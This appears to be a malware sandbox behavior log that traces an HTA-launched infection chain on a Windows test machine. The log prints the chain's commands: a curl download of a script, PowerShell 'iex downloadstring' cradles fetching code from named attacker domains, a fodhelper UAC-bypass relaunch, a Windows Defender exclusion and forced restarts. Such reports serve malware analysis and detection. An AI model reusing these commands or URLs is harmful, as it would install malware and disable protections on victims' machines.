Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\copia111224mp.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\curl.exe "C:\Windows\System32\curl.exe" -o "C:\Wins32Update_\up.cmd" "https://firebasestorage.googleapis.com/v0/b/ola445.appspot.com/o/bt?alt=media&token=a5082314-a2a5-435c-8ef5-198776034a00"
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\computer_zayqgx5_K.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/up/up') "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\system32\shutdown.exe" /r /t 10
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\_nczuwk7_H\_nczuwk7_Hi7.exe "C:\_nczuwk7_H\_nczuwk7_Hi7.exe"
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process created: C:\Windows \System32\fodhelper.exe "C:\Windows \System32\fodhelper.exe"
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8828 -s 1196
Source: C:\Windows \System32\fodhelper.exe	Process created: C:\_nczuwk7_H\_nczuwk7_Hi7.exe "C:\_nczuwk7_H\_nczuwk7_Hi7.exe"
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_nczuwk7_H"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 9072 -s 1208
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\computer_nczuwk7_H.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/up/up') "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\shutdown.exe "C:\Windows\system32\shutdown.exe" /r /t 10
Source: unknown	Process created: C:\_nczuwk7_H\_nczuwk7_H.exe "C:\_nczuwk7_H\_nczuwk7_H.exe" C:\_nczuwk7_H\_nczuwk7_H.at
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\computer_nczuwk7_Hy.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/au/au') "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -
Source: unknown	Process created: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\curl.exe "C:\Windows\System32\curl.exe" -o "C:\Wins32Update_\up.cmd" "https://firebasestorage.googleapis.com/v0/b/ola445.appspot.com/o/bt?alt=media&token=a5082314-a2a5-435c-8ef5-198776034a00"	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\system32\shutdown.exe" /r /t 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/up/up') "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\_nczuwk7_H\_nczuwk7_Hi7.exe "C:\_nczuwk7_H\_nczuwk7_Hi7.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\shutdown.exe "C:\Windows\system32\shutdown.exe" /r /t 10
Source: C:\Windows \System32\fodhelper.exe	Process created: C:\_nczuwk7_H\_nczuwk7_Hi7.exe "C:\_nczuwk7_H\_nczuwk7_Hi7.exe"
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_nczuwk7_H"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/up/up') "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/au/au') "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
